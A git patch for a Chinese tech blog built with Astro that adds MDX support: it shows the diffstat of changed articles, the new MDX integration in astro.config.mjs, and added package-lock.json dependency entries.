From ad02d7b38b13724d371318f7e6881e622ea0e441 Mon Sep 17 00:00:00 2001 From: lsy Date: Mon, 10 Mar 2025 15:15:30 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0mdx=E6=94=AF=E6=8C=81=20?= =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=96=87=E7=AB=A0=E6=A0=BC=E5=BC=8F=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- astro.config.mjs | 24 +- package-lock.json | 748 ++++++++++++++++++ package.json | 1 + src/content.config.ts | 4 +- src/content/Android/Android安装linux.md | 3 + src/content/Android/安装谷歌三件套服务框架.md | 38 + src/content/Docker/Docker安装typecho.md | 7 +- src/content/Docker/Docker部署gitea.md | 2 +- src/content/Docker/Docker部署思源笔记.md | 6 +- .../密码管理器—Vaultwarden(bitwarden).md | 4 +- src/content/Docker/网盘直链程序—AList.md | 2 - src/content/Linux/Centos 7 查看,开放端口.md | 11 +- src/content/Linux/Git完整使用指南.md | 42 +- src/content/Linux/Linux美化终端zsh+ohmyzsh.md | 3 +- src/content/Linux/SSH使用小技巧.md | 13 +- src/content/Linux/Ubuntu安装c语言编译器.md | 29 +- .../Linux/linux实现定时备份网站到网盘.md | 40 +- .../一键卸载宝塔Linux面板及运行环境命令.md | 3 +- src/content/Linux/使用LNMP搭建网站.md | 30 +- .../Linux/开启系统自带的TCP-BBR加速.md | 2 +- src/content/Linux/手动搭建LNMP.md | 23 +- .../{markdown使用教程.md => MDX使用教程.mdx} | 119 ++- src/content/VPN/X-UI面板快速搭建和配置.md | 16 +- src/content/VPN/centos7.x搭建Tor私人网桥.md | 13 + src/content/VPN/dns 解锁.md | 2 +- .../v2board后端对接-XrayR-V2ray-ws-tls-cdn.md | 9 + src/content/VPN/v2board后端对接-soga.md | 17 +- ...后端对接-套cloudfront解决被墙和提升速度.md | 1 + ...y-warp使用Cloudflare-WARP解锁chatgpt-流媒体.md | 12 +- src/content/VPN/v2ray搭建.md | 4 +- .../VPN/一键搭建Telegram的MTProto代理.md | 50 +- src/content/VPN/安装谷歌三件套服务框架.md | 56 +- src/content/VPN/搭建v2board前端.md | 13 +- .../code/ms17-010(永恒之蓝)漏洞复现.md | 51 +- src/content/code/simple_rust_wasm.md | 27 +- src/content/web/CDN配置.md | 3 + src/content/web/Cloudflare_自选IP.md | 4 +- .../GitHub-Actions自动刷新多吉云_CDN缓存.md | 4 +- src/content/web/hugo-theme-stack美化教程.md | 2 +- ...忘录.md => typecho【Handsome】本站魔改备忘录.mdx} | 2 +- .../web/各大搜索引擎站长平台地址汇总.md | 22 +- ...板-服务器状态监控面板-Linux与Windows部署.md | 45 +- ...面板下站点如何只限定CDN的IP节点回源请求.md | 1 + src/content/web/将hugo部署在vercel.md | 10 +- src/content/web/搭建Chevereto中文版.md | 2 +- .../web/搭建本地图床API可搭配Chevereto使用.md | 3 +- .../服务器探针(ServerStatus探针)安装教程.md | 37 +- ...的安全防护.md => 记录一下服务器和网站的安全防护.mdx} | 0 .../windows/Adobe_Photoshop (Beta)使用教程.md | 1 + ...程序中文乱码解决方案[通用解决Windows10].md | 2 +- ...ows用批处理处理图标上的快捷方式和安全盾.md | 34 +- .../windows/Windows虚拟化和子系统安装指南.md | 8 +- src/content/windows/windows安装adb教程.md | 2 +- .../windows终端美化PowerShell+OhMyPosh.md | 2 +- .../windows/在VMware虚拟机上安装MacOS系统.md | 8 +- src/content/博客使用说明.md | 54 +- src/content/常用软件.md | 6 +- src/pages/articles/index.astro | 30 +- 58 files changed, 1429 insertions(+), 278 deletions(-) create mode 100644 src/content/Android/安装谷歌三件套服务框架.md rename src/content/{markdown使用教程.md => MDX使用教程.mdx} (70%) rename src/content/web/{typecho【Handsome】本站魔改备忘录.md => typecho【Handsome】本站魔改备忘录.mdx} (99%) rename src/content/web/{记录一下服务器和网站的安全防护.md => 记录一下服务器和网站的安全防护.mdx} (100%) diff --git a/astro.config.mjs b/astro.config.mjs index e981cfb..fe5a3df 100644 --- a/astro.config.mjs +++ b/astro.config.mjs @@ -2,7 +2,7 @@ import { defineConfig } from 'astro/config'; import tailwindcss from '@tailwindcss/vite'; - +import mdx from '@astrojs/mdx'; import react from '@astrojs/react'; import remarkEmoji from 'remark-emoji'; import rehypeExternalLinks from 'rehype-external-links'; @@ -65,6 +65,21 @@ export default defineConfig({ }, integrations: [ + mdx({ + syntaxHighlight: 'prism', + remarkPlugins: [ + [remarkEmoji, { emoticon: true }] + ], + rehypePlugins: [ + [rehypeExternalLinks, { target: '_blank', rel: ['nofollow', 'noopener', 'noreferrer'] }] + ], + gfm: true, + shikiConfig: { + theme: 'github-dark', + langs: [], + wrap: true, + } + }), react(), sitemap({ filter: (page) => !page.includes('/api/'), @@ -112,18 +127,15 @@ export default defineConfig({ markdown: { syntaxHighlight: 'prism', remarkPlugins: [ - [remarkEmoji, { emoticon: true }] // 启用表情符号和情感符号 + [remarkEmoji, { emoticon: true }] ], rehypePlugins: [ [rehypeExternalLinks, { target: '_blank', rel: ['nofollow', 'noopener', 'noreferrer'] }] ], - gfm: true, // GitHub Flavored Markdown + gfm: true, shikiConfig: { - // 选择一个主题 (可选) theme: 'github-dark', - // 添加自定义语言 langs: [], - // 启用自动换行,防止水平滚动 wrap: true, } }, diff --git a/package-lock.json b/package-lock.json index 07dbe14..23d2ea4 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,6 +8,7 @@ "name": "newechoes", "version": "0.0.1", "dependencies": { + "@astrojs/mdx": "^4.1.0", "@astrojs/node": "^9.1.2", "@astrojs/react": "^4.2.1", "@astrojs/sitemap": "^3.2.1", @@ -85,6 +86,33 @@ "vfile": "^6.0.3" } }, + "node_modules/@astrojs/mdx": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/@astrojs/mdx/-/mdx-4.1.0.tgz", + "integrity": "sha512-M7BaYhVTT7Q/iS2EoEaUngQnN+D2jPCWmNS1TIY31bDyz3MOf+dZmuqODJOEUdBBAASkQE+MhzyPds/N2o6csw==", + "license": "MIT", + "dependencies": { + "@astrojs/markdown-remark": "6.2.0", + "@mdx-js/mdx": "^3.1.0", + "acorn": "^8.14.0", + "es-module-lexer": "^1.6.0", + "estree-util-visit": "^2.0.0", + "hast-util-to-html": "^9.0.4", + "kleur": "^4.1.5", + "rehype-raw": "^7.0.0", + "remark-gfm": "^4.0.0", + "remark-smartypants": "^3.0.2", + "source-map": "^0.7.4", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.3" + }, + "engines": { + "node": "^18.17.1 || ^20.3.0 || >=22.0.0" + }, + "peerDependencies": { + "astro": "^5.0.0" + } + }, "node_modules/@astrojs/node": { "version": "9.1.2", "resolved": "https://registry.npmmirror.com/@astrojs/node/-/node-9.1.2.tgz", @@ -1426,6 +1454,42 @@ } } }, + "node_modules/@mdx-js/mdx": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@mdx-js/mdx/-/mdx-3.1.0.tgz", + "integrity": "sha512-/QxEhPAvGwbQmy1Px8F899L5Uc2KZ6JtXwlCgJmjSTBedwOZkByYcBG4GceIGPXRDsmfxhHazuS+hlOShRLeDw==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdx": "^2.0.0", + "collapse-white-space": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "estree-util-scope": "^1.0.0", + "estree-walker": "^3.0.0", + "hast-util-to-jsx-runtime": "^2.0.0", + "markdown-extensions": "^2.0.0", + "recma-build-jsx": "^1.0.0", + "recma-jsx": "^1.0.0", + "recma-stringify": "^1.0.0", + "rehype-recma": "^1.0.0", + "remark-mdx": "^3.0.0", + "remark-parse": "^11.0.0", + "remark-rehype": "^11.0.0", + "source-map": "^0.7.0", + "unified": "^11.0.0", + "unist-util-position-from-estree": "^2.0.0", + "unist-util-stringify-position": "^4.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/@octokit/app": { "version": "14.1.0", "resolved": "https://registry.npmmirror.com/@octokit/app/-/app-14.1.0.tgz", @@ -2457,6 +2521,15 @@ "vite": "^5.2.0 || ^6" } }, + "node_modules/@types/acorn": { + "version": "4.0.6", + "resolved": "https://registry.npmmirror.com/@types/acorn/-/acorn-4.0.6.tgz", + "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "*" + } + }, "node_modules/@types/aws-lambda": { "version": "8.10.147", "resolved": "https://registry.npmmirror.com/@types/aws-lambda/-/aws-lambda-8.10.147.tgz", @@ -2531,6 +2604,15 @@ "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", "license": "MIT" }, + "node_modules/@types/estree-jsx": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/@types/estree-jsx/-/estree-jsx-1.0.5.tgz", + "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", + "license": "MIT", + "dependencies": { + "@types/estree": "*" + } + }, "node_modules/@types/hast": { "version": "3.0.4", "resolved": "https://registry.npmmirror.com/@types/hast/-/hast-3.0.4.tgz", @@ -2559,6 +2641,12 @@ "@types/unist": "*" } }, + "node_modules/@types/mdx": { + "version": "2.0.13", + "resolved": "https://registry.npmmirror.com/@types/mdx/-/mdx-2.0.13.tgz", + "integrity": "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw==", + "license": "MIT" + }, "node_modules/@types/ms": { "version": "2.1.0", "resolved": "https://registry.npmmirror.com/@types/ms/-/ms-2.1.0.tgz", @@ -2788,6 +2876,15 @@ "acorn": "^8" } }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, "node_modules/agent-base": { "version": "7.1.3", "resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-7.1.3.tgz", @@ -2957,6 +3054,15 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/astring": { + "version": "1.9.0", + "resolved": "https://registry.npmmirror.com/astring/-/astring-1.9.0.tgz", + "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==", + "license": "MIT", + "bin": { + "astring": "bin/astring" + } + }, "node_modules/astro": { "version": "5.4.2", "resolved": "https://registry.npmmirror.com/astro/-/astro-5.4.2.tgz", @@ -3284,6 +3390,16 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/cheerio": { "version": "1.0.0", "resolved": "https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0.tgz", @@ -3395,6 +3511,16 @@ "node": ">=6" } }, + "node_modules/collapse-white-space": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/collapse-white-space/-/collapse-white-space-2.1.0.tgz", + "integrity": "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/color": { "version": "4.2.3", "resolved": "https://registry.npmmirror.com/color/-/color-4.2.3.tgz", @@ -3883,6 +4009,38 @@ "integrity": "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==", "license": "MIT" }, + "node_modules/esast-util-from-estree": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/esast-util-from-estree/-/esast-util-from-estree-2.0.0.tgz", + "integrity": "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "devlop": "^1.0.0", + "estree-util-visit": "^2.0.0", + "unist-util-position-from-estree": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/esast-util-from-js": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/esast-util-from-js/-/esast-util-from-js-2.0.1.tgz", + "integrity": "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "acorn": "^8.0.0", + "esast-util-from-estree": "^2.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/esbuild": { "version": "0.25.0", "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.25.0.tgz", @@ -3963,6 +4121,88 @@ "node": ">=4" } }, + "node_modules/estree-util-attach-comments": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/estree-util-attach-comments/-/estree-util-attach-comments-3.0.0.tgz", + "integrity": "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-build-jsx": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/estree-util-build-jsx/-/estree-util-build-jsx-3.0.1.tgz", + "integrity": "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "estree-walker": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-is-identifier-name": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz", + "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-scope": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/estree-util-scope/-/estree-util-scope-1.0.0.tgz", + "integrity": "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-to-js": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/estree-util-to-js/-/estree-util-to-js-2.0.0.tgz", + "integrity": "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "astring": "^1.8.0", + "source-map": "^0.7.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-visit": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/estree-util-visit/-/estree-util-visit-2.0.0.tgz", + "integrity": "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/estree-walker": { "version": "3.0.3", "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz", @@ -4305,6 +4545,34 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/hast-util-to-estree": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/hast-util-to-estree/-/hast-util-to-estree-3.1.3.tgz", + "integrity": "sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-attach-comments": "^3.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "hast-util-whitespace": "^3.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-js": "^1.0.0", + "unist-util-position": "^5.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/hast-util-to-html": { "version": "9.0.5", "resolved": "https://registry.npmmirror.com/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz", @@ -4328,6 +4596,33 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/hast-util-to-jsx-runtime": { + "version": "2.3.6", + "resolved": "https://registry.npmmirror.com/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz", + "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "hast-util-whitespace": "^3.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-js": "^1.0.0", + "unist-util-position": "^5.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/hast-util-to-parse5": { "version": "8.0.0", "resolved": "https://registry.npmmirror.com/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz", @@ -4510,6 +4805,12 @@ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", "license": "ISC" }, + "node_modules/inline-style-parser": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/inline-style-parser/-/inline-style-parser-0.2.4.tgz", + "integrity": "sha512-0aO8FkhNZlj/ZIbNi7Lxxr12obT7cL1moPfE4tg1LkX7LlLfC6DeX4l2ZEud1ukP9jNQyNnfzQVqwbwmAATY4Q==", + "license": "MIT" + }, "node_modules/iron-webcrypto": { "version": "1.2.1", "resolved": "https://registry.npmmirror.com/iron-webcrypto/-/iron-webcrypto-1.2.1.tgz", @@ -4532,6 +4833,30 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "license": "MIT", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/is-arrayish": { "version": "0.3.2", "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.2.tgz", @@ -4539,6 +4864,16 @@ "license": "MIT", "optional": true }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/is-docker": { "version": "3.0.0", "resolved": "https://registry.npmmirror.com/is-docker/-/is-docker-3.0.0.tgz", @@ -4563,6 +4898,16 @@ "node": ">=8" } }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/is-inside-container": { "version": "1.0.0", "resolved": "https://registry.npmmirror.com/is-inside-container/-/is-inside-container-1.0.0.tgz", @@ -5114,6 +5459,18 @@ "source-map-js": "^1.2.0" } }, + "node_modules/markdown-extensions": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/markdown-extensions/-/markdown-extensions-2.0.0.tgz", + "integrity": "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/markdown-table": { "version": "3.0.4", "resolved": "https://registry.npmmirror.com/markdown-table/-/markdown-table-3.0.4.tgz", @@ -5280,6 +5637,83 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/mdast-util-mdx": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/mdast-util-mdx/-/mdast-util-mdx-3.0.0.tgz", + "integrity": "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==", + "license": "MIT", + "dependencies": { + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-expression": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz", + "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz", + "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdxjs-esm": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz", + "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/mdast-util-phrasing": { "version": "4.1.0", "resolved": "https://registry.npmmirror.com/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz", @@ -5539,6 +5973,109 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/micromark-extension-mdx-expression": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-3.0.0.tgz", + "integrity": "sha512-sI0nwhUDz97xyzqJAbHQhp5TfaxEvZZZ2JDqUo+7NvyIYG6BZ5CPPqj2ogUoPJlmXHBnyZUzISg9+oUmU6tUjQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-mdx-expression": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdx-jsx": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-3.0.1.tgz", + "integrity": "sha512-vNuFb9czP8QCtAQcEJn0UJQJZA8Dk6DXKBqx+bg/w0WGuSxDxNr7hErW89tHUY31dUW4NqEOWwmEUNhjTFmHkg==", + "license": "MIT", + "dependencies": { + "@types/acorn": "^4.0.0", + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "micromark-factory-mdx-expression": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-md": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/micromark-extension-mdx-md/-/micromark-extension-mdx-md-2.0.0.tgz", + "integrity": "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==", + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + 